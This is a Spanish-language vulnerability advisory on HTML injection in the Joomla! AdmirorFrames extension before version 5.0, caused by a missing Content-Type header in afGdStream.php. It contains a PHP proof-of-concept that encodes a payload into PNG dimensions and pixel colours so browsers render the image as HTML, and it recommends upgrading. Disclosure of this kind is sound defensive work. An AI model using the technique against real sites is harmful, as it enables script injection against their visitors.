
AdmirorFrames Extensión Joomla! < 5.0 - Inyección HTML
AdmirorFrames Extensión de Joomla! < 5.0 - Inyección HTML
Inyección HTML en la extensión AdmirorFrames de Joomla! en el archivo afGdStream.php que no establece el valor del encabezado Content-Type antes de enviar los datos de la imagen. Esto provoca que PHP envíe el valor predeterminado de este encabezado (text/html) y hace que los datos de la imagen se interpreten como un documento HTML.
Ejemplo de script PHP que genera un PNG con los campos de ancho y alto establecidos en la etiqueta HTML <s>:
<?php
$_payload="AAA";
if(strlen($_payload)%3!=0){
echo "payload%3==0 !\n"; exit();
}
$_pay_len=strlen($_payload);
echo "LEN: $_pay_len\n";
$width=0x733e; //<s>
$height=0x3c;
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
$_color_chunks=str_split($_chunks[$i], 2);
$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagepng($im,"example.png");
Resultado de la representación del archivo example.png de prueba de concepto por parte del navegador web:
prueba de concepto
Este problema fue causado por el uso del valor predeterminado del encabezado Content-Type. Este problema se ha corregido en la extensión AdmirorFrames de Joomla! en la versión 5.0.
< 5.0
Actualice la extensión AdmirorFrames de Joomla! a la versión 5.0 o superior.